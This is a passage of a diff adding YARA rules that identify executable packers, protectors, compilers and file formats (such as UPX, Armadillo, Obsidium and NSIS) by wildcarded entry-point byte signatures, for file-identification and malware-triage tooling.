+		$0 = {50 68 ?? ?? ?? ?? 58 81 E0 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 E8 ?? ?? ?? 00 89 45 F8 E9 ?? ?? ?? ?? 0F 83 ?? ?? ?? 00 E9 ?? ?? ?? ?? 87 14 24 5A 57 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 58 81 C0 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? 81 C8 ?? ?? ?? ?? 81 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroDog_Win32Shell_V4093__SafeNet_
+{
+	meta:
+		description = "MicroDog Win32Shell V4.0.9.3 -> SafeNet"
+	strings:
+		$0 = {60 55 8B EC 81 EC 34 04 00 00 53 56 57 C6 85 B8 FE FF FF 00 C6 85 B9 FE FF FF 00 C6 85 BA FE FF FF 00 C6 85 BB FE FF FF 00 8D BD BC FE FF FF 33 C0 B9 3F 00 00 00 F3 AB C6 85 E8 FC FF FF 00 C6 85 E9 FC FF FF 00 C6 85 EA FC FF FF 00 C6 85 EB FC FF FF 00 8D}
+		$1 = {60 55 8B EC 81 EC 34 04 00 00 53 56 57 C6 85 B8 FE FF FF 00 C6 85 B9 FE FF FF 00 C6 85 BA FE FF FF 00 C6 85 BB FE FF FF 00 8D BD BC FE FF FF 33 C0 B9 3F 00 00 00 F3 AB C6 85 E8 FC FF FF 00 C6 85 E9 FC FF FF 00 C6 85 EA FC FF FF 00 C6 85 EB FC FF FF 00 8D BD EC FC FF FF 33 C0 B9 3F 00 00 00 F3 AB C7 85 10 FE FF FF A5 A5 00 00 66 C7 85 08 FE FF FF 0A 00 E9 13 09 00 00 90 68 00 10 00 00 E8 B8 F5 FF FF 83 C4 04 89 45 D0 83 7D D0 00 75 05 E9 C1 11 00 00 68 00 10 00 00 A1 ?? ?? ?? ?? 50 8B 45 D0 50 E8 FF F6 FF FF 83 C4 0C A1 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 89 85 34 FE FF FF 8B 85 34 FE FF FF 89 45 CC E9 CE 0E 00 00 E9 36 11 00 00 E9 3D 11 00 00 E9 38 11 00 00 66 C7 45 EC 00 00 EB 04 66 FF 45 EC 8B 45 EC 25 FF FF 00 00 83 F8 03 0F 8D DF 00 00 00 8B 45 EC 25 FF FF 00 00 8B 4D EC 81 E1 FF FF 00 00 0F AF C1 8B 4D EC 81 E1 FF FF 00 00 0F AF C1 8B 4D EC 81 E1 FF FF 00 00 0F AF C1 83 C0 07 89 85 EC FB FF FF EB 7E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JPEG_Graphics_format_p_description_
+{
+	meta:
+		description = "JPEG Graphics format + description"
+	strings:
+		$0 = {FF D8 FF FE 00 27}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_FaxFreeTopo_
+{
+	meta:
+		description = "Vx: FaxFree.Topo"
+	strings:
+		$0 = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+		$1 = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _App_Encryptor__Silent_Team_
+{
+	meta:
+		description = "App Encryptor -> Silent Team"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _32Lite_v003a_
+{
+	meta:
+		description = "32Lite v0.03a"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B}
+		$1 = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JDPack_V200__JDPack_
+{
+	meta:
+		description = "JDPack V2.00 -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190c_
+{
+	meta:
+		description = "Armadillo v1.90c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Stones_PE_Encryptor_v113_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+		$1 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 97 3B 40 ?? 2B 95 2D 3C 40 ?? 83 EA 0B 89 95 36 3C 40 ?? 01 95 24 3C 40 ?? 01 95 28}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MS_RunTime_Library_1988_04_
+{
+	meta:
+		description = "MS Run-Time Library 1988 (04)"
+	strings:
+		$0 = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _ASDPack__asd_
+{
+	meta:
+		description = "ASDPack -> asd"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65}
+		$1 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8D 49 00 1F 01 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 90}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Nullsoft_Install_System_20_RC2_
+{
+	meta:
+		description = "Nullsoft Install System 2.0 RC2"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 70 92 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 84 72 40 00 BE 00 54 43 00 BF 00 04 00 00 56 57 A3 A8 EC 42 00 FF 15 C4 70 40 00 E8 8D FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 5C 71 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V20_Private__Vaska_
+{
+	meta:
+		description = "RCryptor V2.0 Private -> Vaska"
+	strings:
+		$0 = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF 59 BA ?? ?? ?? ?? F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 ?? F7 D1 83 F1 FF C0 0A ?? F7 D1 83 F1 FF 80 02 ?? F7 D1 83 F1 FF 80 32 ?? F7 D1 83 F1 FF 80 02 ?? F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? ?? 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_2008_Release__Microsoft_
+{
+	meta:
+		description = "Visual C++ 2008 Release -> Microsoft"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 A4 FE FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__2_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #2"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+		$1 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BobSoft_Mini_Delphi__BoB__BobSoft_
+{
+	meta:
+		description = "BobSoft Mini Delphi -> BoB / BobSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+		$2 = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+		$3 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+		$4 = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _ProPack_208_m2_EXE_
+{
+	meta:
+		description = "ProPack 2.08 -m2 [EXE]"
+	strings:
+		$0 = {8C D3 8E C3 8C CA 8E DA 8B 0E 08 00 8B F1 83 EE 02 8B FE D1 E9 FD F3 A5 53 B8 2E 00 50 8B 2E 0A 00 CB B8 00 10 3B C5 76 02 8B C5 2B E8 2B D0 2B D8 8E DA 8E C3 B1 03 D3 E0 8B C8 D1 E0 48 48 8B F0 8B F8 F3 A5 0B ED 75 D9 FC 8E C2 8E DB BE 12}
+	condition:
+		$0 at entrypoint
+}
+rule _PEMangle_
+{
+	meta:
+		description = "PEMangle"
+	strings:
+		$0 = {60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61}
+		$1 = {60 9C BE ?? ?? ?? ?? 8B FE B9 ?? ?? ?? ?? BB 44 52 4F 4C AD 33 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _DSHIELD_
+{
+	meta:
+		description = "DSHIELD"
+	strings:
+		$0 = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN 2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Fusion_10__jaNooNi_
+{
+	meta:
+		description = "Fusion 1.0 -> jaNooNi"
+	strings:
+		$0 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+		$1 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Safedisc_V450000__Macrovision_Corporation__20080117_
+{
+	meta:
+		description = "Safedisc V4.50.000 -> Macrovision Corporation * 20080117"
+	strings:
+		$0 = {55 8B EC 60 BB 6E ?? ?? ?? B8 0D ?? ?? ?? 33 C9 8A 08 85 C9 74 0C B8 E4 ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 2B ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 D9 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 25 FC FF FF 83 C4 08 59 83 F8 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.37 -> Dwing   * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? C1 E5 08 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 50 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 54 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 54 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 4C 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 10}
+	condition:
+		$0
+}
+rule _ROD_High_TECH__Ayman_
+{
+	meta:
+		description = "ROD High TECH -> Ayman"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+		$1 = {60 8B 15 1D 13 40 00 F7 E0 8D 82 83 19 00 00 E8 58 0C 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BGI_Stroked_Font_v11_
+{
+	meta:
+		description = "BGI Stroked Font v.1.1"
+	strings:
+		$0 = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v1__Vaska_
+{
+	meta:
+		description = "RCryptor v1.?? -> Vaska"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+		$2 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _InterGraph_Graphics_format_
+{
+	meta:
+		description = "InterGraph Graphics format"
+	strings:
+		$0 = {08 09 FE 01 18 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Xenocode_Virtual_Application_Studio__Xenocode__20090203_
+{
+	meta:
+		description = "Xenocode Virtual Application Studio -> Xenocode * 20090203"
+	strings:
+		$0 = {58 00 65 00 6E 00 6F 00 63 00 6F 00 64 00 65 00 20 00 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 20 00 41 00 70 00 70 00 6C 00 69 00 61 00 6E 00 63 00 65 00 20 00 52 00 75 00 6E 00 74 00 69 00 6D 00 65 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 31 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 32 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 33 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 34 00 00 00 00 00 30 00 78 00 30 00 30 00 31 00 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V50X__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo V5.0X -> Silicon Realms Toolworks"
+	strings:
+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC ?? 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Prepared_by_SLR_OPTLINK_
+{
+	meta:
+		description = "Prepared by SLR (OPTLINK)"
+	strings:
+		$0 = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 ?? ?? 16 07 0E 1F}
+	condition:
+		$0 at entrypoint
+}
+rule _The_Best_Cryptor__FsK____SignByfly_
+{
+	meta:
+		description = "The Best Cryptor -> FsK   * Sign.By.fly"
+	strings:
+		$0 = {EB 06 56 52 55 4C 5A 00 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_092_
+{
+	meta:
+		description = "PECompact 0.92"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 BD 00 00 00 00 B9 02 00 00 00 B0 90 8D BD A5 4F 40 00 F3 AA 01 AD 04 51 40 00 FF B5 00 51 40 00 6A 40 FF 95 38 51 40 00 50 50 2D F7 4F 40 00 89 85 F8 4F 40 00 5F 8D B5 F7 4F 40 00 B9 35 03 00 00 F3 A5 5F 8B D7}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.X -> Obsidium Software"
+	strings:
+		$0 = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+		$1 = {E8 0E 00 00 00 33 C0 8B 54 24 0C 83 82 B8 00 00 00 0D C3 64 67 FF 36 00 00 64 67 89 26 00 00 50 33 C0 8B 00 C3 E9 FA 00 00 00 E8 D5 FF FF FF 58 64 67 8F 06 00 00 83 C4 04 E8 2B 13 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LHA_Archive_
+{
+	meta:
+		description = "LHA Archive"
+	strings:
+		$0 = {6C 68 35}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+		$1 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1363__Obsidium_Software____20080730_
+{
+	meta:
+		description = "Obsidium V1.3.6.3 -> Obsidium Software   * 20080730"
+	strings:
+		$0 = {EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? E8 ?? 00 00 00 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 26 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 33 C0 EB 02 ?? ?? 64 FF 30 EB 01 ?? 64 89 20 EB 01 ?? EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 04 ?? ?? ?? ?? E9 ?? 00 00 00 EB 03 ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V021__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.21 -> Dwing * 20080321"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_15__BitShape_Software_
+{
+	meta:
+		description = "PE Crypt 1.5 -> BitShape Software"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_V1400Beta__Obsidium_Software___20080102_
+{
+	meta:
+		description = "Obsidium V1.4.0.0.Beta -> Obsidium Software  * 20080102"
+	strings:
+		$0 = {EB 01 ?? E8 2F 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MinGW_GCC_2x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MinGW GCC 2.x] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_v20a_
+{
+	meta:
+		description = "Private EXE v2.0a"
+	strings:
+		$0 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D}
+		$1 = {53 E8 00 00 00 00 5B 8B C3 2D}
+		$2 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPolyx_04_by_delikon_
+{
+	meta:
+		description = "UPolyx 0.4 by delikon"
+	strings:
+		$0 = {C3 ?? ?? ?? ?? ?? 83 EC 04 89}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+		$1 = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V220080618V220090726__WFS__20090822_
+{
+	meta:
+		description = "EncryptPE V2.20080618-V2.20090726 -> WFS * 20090822"
+	strings:
